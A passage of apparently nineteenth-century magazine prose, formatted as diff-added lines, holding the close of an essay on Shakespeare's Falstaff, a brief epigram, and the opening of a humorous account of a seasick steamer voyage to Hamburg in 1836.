+reflects that the starveling justice has land and beeves, while he, the
+wit and the gentleman, is penniless, and living from hand to mouth by
+the casual shifts of the day. He looks at the goodly dwelling and the
+riches of him whom he had once so thoroughly contemned, with an inward
+pang that he has scarcely a roof under which he can lay his head. The
+tragic Macbeth, in the agony of his last struggle, acknowledges with
+a deep despair that the things that should accompany old age,--as
+honour, love, obedience, troops of friends,--he must not look to have.
+The comic Falstaff says nothing on the subject; but, by the choice of
+such associates as Bardolph, Pistol, and the rest of that following,
+he tacitly declares that he too has lost the advantages which should
+be attendant on years. No curses loud or deep have accompanied his
+festive career,--its conclusion is not the less sad on that account:
+neglect, forgotten friendships, services overlooked, shared pleasures
+unremembered, and fair occasions gone for ever by, haunt him, no doubt,
+as sharply as the consciousness of deserving universal hatred galls the
+soul of Macbeth.
+
+And we may pursue the analogy farther without any undue straining.
+All other hope lost, the confident tyrant shuts himself up in what he
+deems an impregnable fortress, and relies for very safety upon his
+interpretation of the dark sayings of riddling witches. Divested of the
+picturesque and supernatural horror of the tragedy, Macbeth is here
+represented as driven to his last resource, and dependent for life
+only upon chances, the dubiousness of which he can hardly conceal from
+himself. The Boar's Head in Eastcheap is not the castle of Dunsinane,
+any more than the conversation of Dame Quickly and Doll Tearsheet is
+that of the Weird Sisters; but in the comedy, too, we have the man,
+powerful in his own way, driven to his last "frank," and looking to
+the chance of the hour for the living of the hour. Hope after hope
+has broken down, as prophecy after prophecy has been discovered to be
+juggling and fallacious. He has trusted that _his_ Birnam Wood would not
+come to Dunsinane, and yet it comes;--that no man not of woman born is
+to cross his path, and lo! the man is here. What then remains for wit or
+warrior when all is lost--when the last stake is gone--when no chance of
+another can be dreamt of--when the gleaming visions that danced before
+their eyes are found to be nothing but mist and mirage? What remains for
+them but to die?--And so they do.
+
+With such feelings, what can Falstaff, after having gone through a life
+of adventure, care about the repute of courage or cowardice? To divert
+the prince, he engages in a wild enterprise,--nothing more than what
+would be called a "lark" now. When deer-stealing ranked as no higher
+offence than robbing orchards,--not indeed so high as the taking a slice
+off a loaf by a wandering beggar, which some weeks ago has sent the
+vagrant who committed the "crime" to seven years' transportation,--such
+robberies as those at Gadshill, especially as all parties well knew that
+the money taken there was surely to be repaid, as we find it is in the
+end,[93] were of a comparatively venial nature. Old father antic, the
+Law, had not yet established his undoubted supremacy; and taking purses,
+even in the days of Queen Elizabeth, was not absolutely incompatible
+with gentility. The breaking up of the great households and families
+by the wars of the Roses, the suppression of the monasteries and the
+confiscation of church property by Henry VIII, added to are adventurous
+spirit generated throughout all Europe by the discovery of America,
+had thrown upon the world "men of action," as they called themselves,
+without any resources but what lay in their right hands. Younger members
+of broken houses, or aspirants for the newly lost honours or the ease of
+the cloister, did not well know what to do with themselves. They were
+too idle to dig; they were ashamed to beg;--and why not apply at home
+the admirable maxim,
+
+    "That they should take who have the power,
+      And they should keep who can,"
+
+which was acted upon with so much success beyond the sea. The same
+causes which broke down the nobility, and crippled the resources of
+the church, deprived the retainers of the great baron, and the sharers
+of the dole of the monastery, of their accustomed mode of living; and
+robbery in these classes was considered the most venial of offences.
+To the system of poor laws,--a system worthy of being projected "in
+great Eliza's golden time" by the greatest philosopher of that day,
+or, with one exception, of any other day,--are we indebted for that
+general respect for property which renders the profession of a thief
+infamous, and consigns him to the hulks, or the tread-mill, without
+compassion. But I must not wander into historical disquisitions; though
+no subject would, in its proper place, be more interesting than a minute
+speculation upon the gradual working of the poor-law system on English
+society. It would form one of the most remarkable chapters in that great
+work yet to be written, "The History of the _Lowest_ Order from the
+earliest times,"--a work of far more importance, of deeper philosophy,
+and more picturesque romance, than all the chronicles of what are called
+the great events of the earth. Elsewhere let me talk of this. I must now
+get back again to Falstaff.
+
+"_Fal._ Now Hal, to the news at court: for the robbery, lad? How is that
+answered?
+
+_P. Hen._ My sweet beef, I must Still be good angel to thee. The money
+is paid back.
+
+_Fal._ I do not like That paying back; it is a double labour.
+
+_P. Hen._ I am good friends with my father, and may do anything.
+
+_Fal._ Rob me the exchequer, the first thing thou dost; And do't with
+unwashed hands too.
+
+_Bard._ Do, my lord."
+
+The quiet and business-like manner in which Bardolph enforces on the
+heir-apparent his master's reasonable proposition of robbing the
+exchequer, is worthy of that plain and straightforward character. I
+have always considered it a greater hardship that Bardolph should be
+hanged "for pix of little price" by an old companion at Gadshill, than
+that Falstaff should have been banished. But Shakspeare wanted to get
+rid of the party; and as, in fact, a soldier was hanged in the army of
+Henry V. for such a theft, the opportunity was afforded. The king is not
+concerned in the order for his execution however, which is left with the
+Duke of Exeter.
+
+I have omitted a word or two from the ordinary editions in the above
+quotation, which are useless to the sense and spoil the metre. A careful
+consideration of Falstaff's speeches will show that, though they are
+sometimes printed as prose, they are in almost all cases metrical.
+Indeed, I do not think that there is much prose in any of Shakspeare's
+plays.
+
+His Gadshill adventure was a jest,--a jest, perhaps, repeated after too
+many precedents; but still, according to the fashion and the humour of
+the time, nothing more than a jest. His own view of such transactions is
+recorded; he considers Shallow as a fund of jesting to amuse the prince,
+remarking that it is easy to amuse "with a sad brow" (with a solemnity
+of appearance) "a fellow that never had the ache in his shoulders." What
+was to be accomplished by turning the foolish justice into ridicule,
+was also to be done by inducing the true prince to become for a moment
+a false thief. The serious face of robbery was assumed "to keep Prince
+Harry in perpetual laughter." That, in Falstaff's circumstances, the
+money obtained by the night's exploit would be highly acceptable, cannot
+be doubted; but the real object was to amuse the prince. He had no idea
+of making an exhibition of bravery on such an occasion; Poins well knew
+his man when he said beforehand, "As for the third, if he fight longer
+than he see reason, I'll forswear arms:" his end was as much obtained
+by the prince's jokes upon his cowardice. It was no matter whether
+he invented what tended to laughter, or whether it was invented upon
+him. The object was won so the laughter was in any manner excited. The
+exaggerated tale of the misbegotten knaves in Kendal-green, and his
+other lies, gross and mountainous, are told with no other purpose; and
+one is almost tempted to believe him when he says that he knew who were
+his assailants, and ran for their greater amusement. At all events, it
+is evident that he cares nothing on the subject. He offers a jocular
+defence; but immediately passes to matter of more importance then the
+question of his standing or running:
+
+    But, lads, I'm glad you have the money. Hostess!
+    Clap to the doors; watch to-night, pray to-morrow.
+    Gallants, lads, boys, hearts-o'-gold! All the titles of
+    Good fellowship come to you!"[94]
+
+The money is had; the means of enjoying it are at hand. Why waste our
+time in inquiring how it has been brought here, or permit nonsensical
+discussions on my valour or cowardice to delay for a moment the jovial
+appearance of the bottle?
+
+I see no traces of his being a glutton. His roundness of paunch is no
+proof of gormandising propensities; in fact, the greatest eaters are
+generally thin and spare. When Henry is running over the bead-roll of
+his vices, we meet no charge of gluttony urged against him.
+
+                          "There is a devil
+    Haunts thee i' the likeness of a fat old man;
+    A ton of man is thy companion.
+    Why dost thou converse with that trunk of humours,
+    That bolting-hutch of beastliness, that swoln parcel of
+    Dropsies, that huge bombard of sack, that stuffed
+    Cloakbag of guts, that roasted Manningtree ox
+    With the pudding in his belly, that reverend vice,
+    That grey iniquity, that father ruffian,
+    That vanity in years? Wherein is he good
+    But to taste sack, and drink it? Wherein neat
+    And cleanly, but to carve a capon, and eat it?"[95]
+
+The sack and sugar Falstaff admits readily; of addiction to the grosser
+pleasures of the table neither he nor his accuser says a word. Capon
+is light eating; and his neatness in carving gives an impression of
+delicacy in the observances of the board. He appears to have been
+fond of capon; for it figures in the tavern-bill found in his pockets
+as the only eatable beside the stimulant anchovy for supper, and the
+halfpenny-worth of bread. Nor does his conversation ever turn upon
+gastronomical topics. The bottle supplies an endless succession of
+jests; the dish scarcely contributes one.
+
+We must observe that Falstaff is never represented as drunk, or even
+affected by wine. The copious potations of sack do not cloud his
+intellect, or embarrass his tongue. He is always self-possessed, and
+ready to pour forth his floods of acute wit. In this he forms a contrast
+to Sir Toby Belch. The discrimination between these two characters is
+very masterly. Both are knights, both convivial, both fond of loose or
+jocular society, both somewhat in advance of their youth--there are
+many outward points of similitude, and yet they are as distinct as
+Prospero and Polonius. The Illyrian knight is of a lower class of mind.
+His jests are mischievous; Falstaff never commits a practical joke. Sir
+Toby delights in brawling and tumult; Sir John prefers the ease of his
+own inn. Sir Toby sings songs, joins in catches, and rejoices in making
+a noise; Sir John knows too well his powers of wit and conversation
+to think it necessary to make any display, and he hates disturbance.
+Sir Toby is easily affected by liquor and roystering; Sir John rises
+from the board as cool as when he sate down. The knight of Illyria
+had nothing to cloud his mind; he never aspired to higher things than
+he has attained; he lives a jolly life in the household of his niece,
+feasting, drinking, singing, rioting, playing tricks from one end of
+the year to the other: his wishes are gratified, his hopes unblighted.
+I have endeavoured to show that Falstaff was the contrary of all this.
+And we must remark that the tumultuous Toby has some dash of romance
+in him, of which no trace can be found in the English knight. The wit
+and grace, the good-humour and good looks of Maria, conquer Toby's
+heart, and he is in love with her--love expressed in rough fashion, but
+love sincere. Could we see him some dozen years after his marriage,
+we should find him sobered down into a respectable, hospitable, and
+domestic country gentleman, surrounded by a happy family of curly-headed
+Illyrians, and much fonder of his wife than of his bottle. We can never
+so consider of Falstaff; he must always be a dweller in clubs and
+taverns, a perpetual diner-out at gentlemen's parties, or a frequenter
+of haunts where he will not be disturbed by the presence of ladies of
+condition or character. In the "Merry Wives of Windsor,"--I may remark,
+in passing, that the Falstaff of that play is a different conception
+from the Falstaff of Henry IV, and an inferior one,--his love is of a
+very practical and unromantic nature. The ladies whom he addresses are
+beyond a certain age; and his passion is inspired by his hopes of making
+them his East and West Indies,--by their tables and their purses. No;
+Falstaff never could have married,--he was better "accommodated than
+with a wife." He might have paid his court to old Mistress Ursula, and
+sworn to marry her weekly from the time when he perceived the first
+white hair on his chin; but the oath was never kept, and we see what was
+the motive of his love, when we find him sending her a letter by his
+page after he has been refused credit by Master Dombledon, unless he can
+offer something better than the rather unmarketable security of himself
+and Bardolph.
+
+We must also observe that he never laughs. Others laugh with him, or at
+him; but no laughter from him who occasions or permits it. He jests with
+a sad brow. The wit which he profusely scatters about is from the head,
+not the heart. Its satire is slight, and never malignant or affronting;
+but still it is satirical, and seldom joyous. It is anything but _fun_.
+Original genius and long practice have rendered it easy and familiar to
+him, and he uses it as a matter of business. He has too much philosophy
+to show that he feels himself misplaced; we discover his feelings by
+slight indications, which are, however, quite sufficient. I fear that
+this conception of the character could never be rendered popular on
+the stage; but I have heard in private the part of Falstaff read with
+a perfectly grave, solemn, slow, deep, and sonorous voice, touched
+occasionally somewhat with the broken tone of age, from beginning to
+end, with admirable effect. But I can imagine him painted according to
+my idea. He is always caricatured. Not to refer to ordinary drawings,
+I remember one executed by the reverend and very clever author of the
+"Miseries of Human Life," (an engraving of which, if I do not mistake,
+used to hang in Ambrose's parlour in Edinburgh, in the actual room
+which was the primary seat of the "Noctes Ambrosianæ,") and the painter
+had exerted all his art in making the face seamed with the deep-drawn
+wrinkles and lines of a hard drinker and a constant laugher. Now, had
+jolly Bacchus
+
+    "Set the trace in his face that a toper will tell,"
+
+should we not have it carefully noted by those who everlastingly joked
+upon his appearance? should we not have found his Malmsey nose, his
+whelks and bubukles, his exhalations and meteors, as duly described as
+those of Bardolph? A laughing countenance he certainly had not. Jests
+such as his are not, like Ralph's, "lost, unless you print the face."
+The leering wink in the eye introduced into this portraiture is also
+wrong, if intended to represent the habitual look of the man. The chief
+justice assures us that his eyes were moist like those of other men
+of his time of life; and, without his lordship's assurance, we may be
+certain that Falstaff seldom played tricks with them. He rises before me
+as an elderly and very corpulent gentleman, dressed like other military
+men of the time, [of Elizabeth, observe, not Henry,] yellow-cheeked,
+white-bearded, double-chinned, with a good-humoured but grave expression
+of countenance, sensuality in the lower features of his face, high
+intellect in the upper.
+
+Such is the idea I have formed of Falstaff and perhaps some may think
+I am right. It required no ordinary genius to carry such a character
+through so great a variety of incidents with so perfect a consistency.
+It is not a difficult thing to depict a man corroded by care within,
+yet appearing gay and at ease without, if you every moment pull the
+machinery to pieces, as children do their toys, to show what is inside.
+But the true art is to let the attendant circumstances bespeak the
+character, without being obliged to label him: "_Here you may see the
+tyrant_;" or, "_Here is the man heavy of heart, light of manner_." Your
+ever-melancholy and ostentatiously broken-hearted heroes are felt to be
+bores, endurable only on account of the occasional beauty of the poetry
+in which they figure. We grow tired of "the gloom the fabled Hebrew
+wanderer wore," &c. and sympathise as little with perpetual lamentations
+over mental sufferings endured, or said to be endured, by active youth
+and manhood, as we should be with its ceaseless complaints of the
+physical pain of corns or toothache. The death-bed of Falstaff, told in
+the _patois_ of Dame Quickly to her debauched and profligate auditory,
+is a thousand times more pathetic to those who have looked upon the
+world with reflective eye, than all the morbid mournings of Childe
+Harold and his poetical progeny.
+
+At the table of Shallow, laid in his arbour, Falstaff is compelled by
+the eager hospitality of his host to sit, much against his will. The wit
+of the court endures the tipsy garrulity of the prattling justice, the
+drunken harmonies of Silence, whose tongue is loosed by the sack to
+chaunt but-ends of old-fashioned ballads, the bustling awkwardness of
+Davy, and the long-known ale-house style of conversation of Bardolph,
+without uttering a word except some few phrases of common-place
+courtesy. He feels that he is in mind and thought far above his company.
+Was that the only company in which the same accident had befallen him?
+Certainly not; it had befallen him in many a mansion more honoured
+than that of Shallow, and amid society loftier in name and prouder
+in place. His talent, and the use to which he had turned it, had as
+completely disjoined him in heart from those among whom he mixed, or
+might have mixed, as it did from the pippin-and-caraway-eating party
+in Gloucestershire. The members of his court are about him, but not of
+him; they are all intended for use. From Shallow he borrows a thousand
+pounds; and, as the justice cannot appreciate his wit, he wastes it not
+upon him, but uses other methods of ingratiating himself. Henry delights
+in his conversation and manner, and therefore all his fascinations are
+exerted to win the favour of one from whom so many advantages might
+be expected. He lives in the world alone and apart, so far as true
+community of thought with others is concerned; and his main business in
+life is to get through the day. That--the day--is his real enemy; he
+rises to fight it in the morning; he gets through its various dangers
+as well as he can; some difficulties he meets, some he avoids; he shuns
+those who ask him for money, seeks those from whom he may obtain it;
+lounges here, bustles there; talks, drinks, jokes, schemes; and at
+last his foe is slain, when light and its troubles depart. "The day is
+gone--the night's our own." Courageously has he put an end to one of the
+three hundred and sixty-five tormentors which he has yearly to endure;
+and to-morrow--why--as was to-day, so to-morrow shall be. At all events
+I shall not leave the sweet of the night unpicked, to think anything
+more about it. Bring me a cup of sack! Let us be merry! Does he ever
+think of what were his hopes and prospects at the time, when was
+
+    "Jack Falstaff, now Sir John, a boy,
+    And page to Thomas Mowbray, duke of Norfolk?"
+
+Perhaps!----but he chases away the intrusive reflection by another cup
+of sack and a fresh sally of humour.
+
+Dryden maintained that Shakspeare killed Mercutio, because, if he had
+not, Mercutio would have killed him. In spite of the authority of
+
+    "All those prefaces of Dryden,
+    For these our critics much confide in,"
+
+Glorious John is here mistaken. Mercutio is killed precisely in the part
+of the drama where his death is requisite. Not an incident, scarcely a
+sentence, in this most skilfully managed play of Romeo and Juliet, can
+be omitted or misplaced. But I do think that Shakspeare was unwilling to
+hazard the reputation of Falstaff by producing him again in connexion
+with his old companion, Hal, on the stage. The dancer in the epilogue
+of the Second Part of Henry IV. promises the audience, that "if you be
+not too much cloyed with fat meat, our humble author will continue the
+story, with Sir John in it, and make you merry with fair Katharine of
+France; where, for any thing I know, Falstaff shall die of a sweat,
+unless already he be killed with your hard opinions."[96] The audience
+was not cloyed with fat meat, Sir John was not killed with their hard
+opinions; he was popular from the first hour of his appearance: but
+Shakspeare never kept his word. It was the dramatist, not the public,
+who killed his hero in the opening scenes of Henry V; for he knew not
+how to interlace him with the story of Agincourt. There Henry was to be
+lord of all; and it was matter of necessity that his old master should
+disappear from the scene. He parted therefore even just between twelve
+and one, e'en at turning of the tide, and we shall never see him again
+until the waters of some Avon, here or elsewhere,--it is a good Celtic
+name for rivers in general,--shall once more bathe the limbs of the
+like of him who was laid for his last earthly sleep under a gravestone
+bearing a disregarded inscription, on the north side of the chancel in
+the great church at Stratford.
+                                                                 W. M.
+[92] He is once called so by Westmoreland,
+     Second Part of Henry IV. Act iv. Sc. 1.
+
+[93] Henry IV. Part 1. Act iii. Sc. 3.
+
+[94] These passages also are printed as prose: I have not altered a
+     single letter, and the reader will see not only that they are
+     dramatical blank-verse, but dramatical blank-verse of a very
+     excellent kind. After all the editions of Shakspeare, another
+     is sadly wanted. The text throughout requires a searching
+      critical revision.
+
+[95] See Footnote 94 above.
+
+[96] I consider this epilogue to be in blank-verse,--
+
+         "First my fear, then my courtesy, then my speech," &c.
+
+     but some slight alterations should be made: the transposition of a
+     couple of words will make the passage here quoted metrical.
+
+  "One word more I beseech you. If you be not Too much cloyed with fat
+  meat, our humble author _The story will continue_ with Sir John in't,
+  And make you merry with fair _Kate_ of France. Where (For any thing I
+  know) Falstaff shall die of A sweat, unless already he be killed with
+  Your hard opinions; Oldcastle died a martyr, And this is not the man.
+  My tongue is weary, when my legs are too, I'll bid you good-night; and
+  kneel down before you, But indeed to pray for the queen."
+
+
+
+
+                EPIGRAM
+
+    'Twas thought that all who dined on hare,
+    For seven days after, grew most fair:
+    Fanny, it seems, this tale believed,
+    When I from her a hare received:
+    But if the tale be true, odsfish!
+    Fanny has never tried the dish.
+
+
+
+
+                 A STEAM TRIP TO HAMBURG.
+
+The world is about equally divided into two parts; viz. the first and
+most unfortunate part, who have made trips by steam; and the other,
+whose ill-luck is to come, and who have not yet been subject to the
+"vapours." Both of these divisions of society will be equally interested
+in my narration; one will see a faithful delineation of what they have
+already suffered, and the other will be enabled clearly to apprehend
+what, when their time comes, they will have to undergo. Not that I wish
+to deter anybody from such undertakings, inasmuch as there will be a
+degree of naval heroism in anybody who ventures his person after he has
+become fully aware of his necessary calamities. I need not say that this
+will give him a high station in society, and that, if he announces in a
+tolerably loud voice at a dinner-table that he has made a long trip by
+steam, more than one eye-glass will be devoted to a survey of him. This
+is no mean advantage, and not to be lightly lost.
+
+Before I state what happened to me in particular, I just wish to say
+half-a-dozen words about the sea in general. The sea has been described
+by a great natural historian as
+
+    "The sea! the sea!
+    The bright and open sea!"
+
+Now, I differ from this description altogether. The sea is undoubtedly
+"_the_ sea,"--there's no denying that; but that it at all comes up
+to the jaunty _débonnaire_ character indicated by the rest of the
+description, I absolutely traverse. In my mind it is a boisterous
+"dissolute companion," whose bad example corrupts the most respectable
+characters. Only see how our gentlemanlike, quiet old friend, Father
+Thames, forgets himself when he falls into bad company. Gentlemen from
+Shad Thames and the Barbican, who have been to Margate, know very well
+what his conduct is. Instead of moving quietly along, as he has done all
+the way from Lechlade in Gloucestershire, no sooner does he get within
+hearing of the noise his bad acquaintance is making, than it seems as if
+Old Nick possessed him. He begins splashing, and dashing, and foaming
+about, just as if he had never seen a weeping willow or the Monument in
+his life; and exchanges his white-bait for porpoises, and his stately
+swans for cantankerous sea-gulls, whose pleasure seems to increase in
+proportion to the tumult. And, not contented with his own misconduct, he
+involves all the gentle company he has brought with him in the common
+disorder: there is the Loddon tossing about as if it had been a cataract
+all its life; the Mole seems to forget all about Mickleham Valley, and
+how quietly it has been accustomed to behave there; and the Kennet
+and Avon, which have come all the way from the Wiltshire Downs, where
+they were born in stillness among the Druids, take just as much upon
+them, and are as noisy, as if they had derived their parentage from a
+well-frequented metropolitan pump. No more need be said to prove the
+audacious character of this "agitator," whose inflammatory conduct makes
+everybody that comes in contact with him, as bad as himself. I should
+not have said so much about it, but I want to put down the sea, which,
+owing to gross misstatements and vile flattery, has acquired a credit
+and notoriety which it does not deserve; and this ought to be stopped,
+as it misleads people.
+
+Having made up my mind to go to Hamburg, I bade adieu to my fond
+friends; and, having settled my London affairs, I prepared to go, and
+went.
+
+At twelve P.M. on the night of Tuesday, August 13, 1836, it was my
+unhappy lot to emerge from hackney-coach No. 369, the number of which I
+had taken, knowing the state of my mind, for the better preservation of
+my valuables; fearing that, in my dread of approaching evils, I might
+forget either my valued trunk or my respected hat-box. Having emerged,
+my next act was, to ejaculate in as sonorous a voice as my flabby
+energies permitted, "Boat a-hoy!"
+
+This cry brought to me a waterman of an "ancient and fish-like"
+appearance, who, for the filthy lucre of gain, agreed to transport my
+person and packages on board the Steam Navigation Company's steam ship,
+Britannia, carrying his majesty's mails, "warranted to perform the
+journey in fifty hours;" with a steward on board, and numerous other
+enticing particulars duly set forth in the bill of her performances. For
+all these advantages, the Steam Navigation Company expected no greater
+return than five pounds lawful money of Great Britain,--an expectation
+which I satisfied to the proper extent, and considered myself very
+fortunate.
+
+Probably feeling much embarrassed by my gratitude on this occasion,
+I must have betrayed some little passing emotion on ascending the
+side of the vessel; as the naval person who offered me his hand as an
+assistance, took occasion to observe, "Never mind, sir; you'll soon
+be all right." Scarcely feeling entire confidence in this gentleman's
+statement, I entered the "splendid saloon," on the tables of which
+were the remains of certain spirituous liquors; faint and distant
+traces of which, ascending from below, enabled me to attribute their
+consumption to the various gentlemen there deposited, who were to be my
+fellow-passengers. "Below" is a very nasty, unpleasant, underground word
+of itself; but when it is coupled with the vile concomitants which a sea
+"below" embraces, it is still more distasteful.
+
+Diving down the stairs with the sad impression that I had taken my
+last farewell of the upper world, I found my way to No. 14, which was
+the number of the "berth" in which I was to bestow, and did bestow
+accordingly, myself and luggage.
+
+Before getting into bed, I thought I would see who and what the victims
+were, who were to be offered up on a common altar with myself.
+
+I could, however, see nobody, as the curtains were all closed; and,
+therefore, trusting to the chance of finding somebody awake, I hazarded
+the general inquiry of "I beg your pardon, sir; did you speak?" There
+was, however, no reply; but certain of them snored lustily, and one,
+more portly than his fellows, puffed withal as though he were a grampus.
+Feeling I had made a vain attempt at opening a communication with my
+neighbours, I was obliged to undress myself, and get into bed with the
+unsatisfactory feeling that I might be drowned in company with twelve or
+fourteen individuals without even knowing their names.
+
+And here allow me to observe that different people appear to have taken
+various views of the meaning of the term "bed," taken as a simple term.
+One gentleman apprehends it to mean a four-posted, ample convenience,
+provided with downy cushions and suitable appurtenances, wherein he may
+roll himself about, at pleasure, and enjoy all recumbent attitudes with
+freedom. Another, with less luxurious views, erects a dormitory with a
+circular roof, of smaller size, and less accommodations and comforts;
+and this, under the Christian name of "tent," is his "bed." There are
+also other sorts of beds, each differing from the others in comfort and
+appearance, in various degrees.
+
+Most of these are extremely consistent with the personal comfort of
+the individual adopting them; but the "bed-maker" of the crib which
+I now occupied, had departed widely from all these well-approved and
+convenient plans, and conceived the comforts of a bed to consist in
+the following items:--one narrow, short trough of deal or oak plank,
+as may be; one mattress of half the same size, stuffed tightly with an
+unelastic, unyielding substance called "flock;" one oblong pillow of
+the same material and consistency; two blankets rather shorter than the
+mattress; two sheets rather shorter than the blankets; one counterpane
+rather shorter than the sheets; each declining in a sort of gradual
+progression, so that, if there had been fifty of them the last would
+have ended in a piece of tape, or a penny riband.
+
+Making myself into as small, and the clothes into as large a heap as I
+could, just as one does with one's foot in a tight boot, I tranquilly
+awaited our departure, which was announced as punctually at two A.M.
+
+I must do them the justice to say that there never was an execution
+conducted more punctually to the moment for which it had been promised.
+As the clock struck two, a clanking of chains, which sounded just as if
+they were knocking off my fetters in another prison for the last time,
+and a continued shouting and tramping overhead, announced that they
+were weighing "the anchor." If it were half as heavy as my heart, how
+it must have fatigued them! We could hear--or rather I could hear (for
+it did not seem to wake the snorers or him who puffed)--all the din and
+hallooing above, just as well as if we had been on deck. Somebody kept
+swearing at somebody else, which somebody else seemed to take in very
+bad part, as I heard him say, "I arn't a going to put up with no gammon
+from a feller like you, as doesn't know an umbreller from a spring
+ini'n."
+
+I didn't exactly believe that there could be anybody in these
+march-of-intellect days, incapable of distinguishing an umbrella from a
+spring onion, and therefore I felt this to be most unjustifiable abuse,
+whomsoever it was addressed to; but it was no business of mine, and I
+didn't care how much they abused each other, if they had only done it in
+a lower tone of voice, so as not to disturb me.
+
+When the "tumult dwindled to a calm," a splash and a hiss, accompanied
+by the moving of the vessel, gave me intelligence that we were "off." As
+we dropped down the river, memory recalled the peaceful recreation of
+dining at Blackwall on white-bait; while certain matters which occurred
+at a Greenwich fair, stared me accusingly in the face.
+
+Amid these reflections I fell into an uneasy slumber, which lasted till
+six, broken at intervals by various thumps on the deck, which seemed
+directed immediately at my head below. In the morning "the pie was
+opened, and the birds began to sing;" that is to say, my companions
+began to draw their dingy little curtains back, and gradually to unfold
+themselves. I found we consisted of fourteen souls and bodies,--ten
+Germans, and four of the same free and enlightened nation of which I
+have the honour to be a component part.
+
+We chatted till about seven; and then one got up, and another got up,
+and, lastly, I myself got up and dressed; not, however, without a
+feeling that I had better have left well alone. When I got up on deck, I
+asked a sailor, "How's the wind?"--"Dead agin yer," was the satisfactory
+reply. I wasn't surprised.
+
+While I dressed, I paid due attention to a request posted up over the
+washing-stands, "That gentlemen should refrain from throwing their
+shaving-paper into their basins, as it stopped up the pipes, and
+_increased_ the smell of the cabins." This of itself seemed a tacit
+acknowledgement of the existence of a very agreeable concomitant to our
+comforts,--as you can hardly _increase_ a thing which did not previously
+exist; indeed there was no doubt about that, without any notice.
+
+When we had all got up stairs by different instalments, after pacing
+the decks a little, we received a summons to breakfast. I endeavoured
+to sham an appetite, but it was no go; so I ate sparingly, being most
+distrustful of the future.
+
+"Waiter!" cried one of the English,--a short, stout gentleman, in a
+dressing-gown,--"bring up the parcel in front of my berth."
+
+"Sart'nly, sir!" replied the smart handman.
+
+Up came the parcel; and, as I had heard the demand, I had the curiosity
+to see what came of it. The parcel turned out to be a nice brown-bread
+loaf, off which the owner cut a small slice, and carefully put it on a
+plate by his side. His neighbour on the other side then began talking to
+him, which diverted his attention from the loaf. His other neighbour,
+who had not seen where it came from, wanting some bread, and finding it
+at his elbow, helped himself; and a man, a little lower down, said,
+
+"May I trouble you for the bread?"
+
+"With pleasure, sir;" and another slice went, and so on, till the last
+remnant came round to the man who sat opposite the rightful owner, who
+was talking away still, with his friend, as if they had been settling
+the tithe question. He took the bit left, and began devouring it; and a
+pause having taken place in the conversation opposite, he said to the
+loaf-proprietor,
+
+"For myself, I like brown bread just as well as white; what do you say?"
+
+"Why, _I_ prefer it; and, not knowing that we should get it on board, I
+took the precaution of bringing a loaf with me, big enough to last me
+all the----"
+
+As he spoke, he turned to illustrate his remark by showing the size of
+his loaf, when, to his dismay, he found nothing but the empty plate.
+I never shall forget his face. He first of all turned to the man who
+had addressed him, and into whose capacious mouth the last morsel was
+vanishing:
+
+"Confound it, sir! that's my bread you're eating!"
+
+Then to his next neighbour on his right:
+
+"Was it you who took my loaf, sir?"
+
+"Your loaf, sir? Who are you?"
+
+"Yes, sir! I repeat, my loaf; my brown loaf."
+
+"I certainly took a loaf, sir, and a brown loaf, which stood next to me;
+but whether it was yours or not I can't say; and I believe everybody
+else took it too!"
+
+"Why, then it's gone!" It was.
+
+Breakfast being over, we had but little to do, and nothing to divert our
+thoughts from our mournful position. I went fidgeting about, asking how
+the weather was. The answers were delightful. The wind was so violent
+and adverse that the captain thought it useless to go out to sea, and
+therefore intended to "bring up"--ominous term!--in Owesly Bay, near
+Harwich. The rain drove me into the "splendid saloon," which I would
+have bartered for a cellar in Fetterlane; and, after half an hour's
+doubt and wonder whether I was going round the world, or the world round
+me, I felt it not only prudent, but necessary, to seek greater privacy;
+and, after much sorrow and tempest of spirit, I got into my comfortable
+bed.
+
+The captain was as good, or rather as bad, as his word. He "brought up"
+in Owesly Bay, and I will say no more than that the force of example was
+astonishing. How long we waited about in that sad bay, I cannot exactly
+say, as I had become insensible to the nice distinction between tossing
+up and down, and pitching and rolling at anchor, or going on. It was
+enough, and too much for me, that we _did_ toss up and down, and pitch
+and roll.
+
+So ended Wednesday the 14th. We were intended to arrive at Hamburg at
+two o'clock on Friday morning; but the adverse wind, and bringing up,
+seemed to throw a doubt over this.
+
+Still it was not impossible, if the wind abated. Thursday morning was
+ushered in by numerous inquiries as to where we were. We were more than
+gratified by being told "Much where we were last night." This was told
+to me, who felt that I had signed a lease for my life, extending only to
+Friday, at two A.M., as the longest possible time I could hold out; and
+that after that time the lease would be up, and I should be ejected from
+my mortal tenement.
+
+The Germans who were on board ate and drank heartily, and wanted me
+to get up and shave. I thought that the chance of being drowned was
+enough, without the certainty of cutting my throat from ear to ear,
+which I should inevitably have done if I had attempted to use a razor in
+the state of the vessel's movements. They endeavoured to get me up, by
+touching my national pride.
+
+"What! an Englishman afraid?" said they.
+
+"No," answered I; "but very sick."
+
+Thursday heard many groans, and, if it had eyes, might have seen many
+strange sights.
+
+Friday morning, two A.M.--the promised period of our arrival at the
+haven of our hopes--found us still wide at sea; and it was not till
+Friday evening that we heard the news that we were off the mouth of the
+Texel, one hundred miles from the Elbe, which was our destination. We
+were then in that sort of reckless state that we regarded distance as
+nothing,--one hundred miles seemed to me, much the same as one thousand;
+and I opened and shut my mouth in the agonies of despair, and something
+worse.
+
+All this time I had continued in bed, eating what they brought me, not
+from any relish or appetite, but on the principle that if you are in
+a den with a roaring lion, and have a leg of mutton to give him, it is
+prudent to do so; and there was in my den with me an intolerant and
+savage spirit, which treated me exceedingly ill when I gave it nothing
+to wreak its fury upon, and showed but little gratitude when I did,
+either declining the proffered gifts, or only receiving them to render
+me more dejected by a speedy and contemptuous return.
+
+Saturday morning early, we heard, with as much joy, and with as much
+interest as we could feel in anything, that we should soon be in the
+Elbe, and in tolerably smooth water. What ideas these sailors have of
+smooth water! I wonder if they ever look in a washing-basin?
+
+As I lay waiting for the smooth water, I could not help anathematising
+those deceitful vagabonds, the poets, who write very pretty and pleasing
+lines about a tender affair they call a zephyr, and describe it as
+"softly sighing on a summer's eve," "lightly dancing on the moonlit
+lake," "mildly breaking over the bending corn," and a variety of
+agreeable and amiable habits. But these worthy gentlemen, who write in
+a comfortable arm-chair, little know the change which takes place in
+their sighing friend when a dozen or two of them club together to make a
+gale of wind for an afternoon's amusement. I wish I had had a score of
+these same poets on board,--the world would never have heard anything
+from them again about "bending corn!" A zephyr bears about the some
+proportion to a gale of wind as a Vauxhall slice of ham does to the
+"whole hog." However, all evils have an end, and ours began to conclude
+a little; for certainly I seemed to get a little better, and was well
+enough when we passed Heligoland--which is an island in the possession
+of his most gracious majesty, whom Heaven long preserve!--to sing
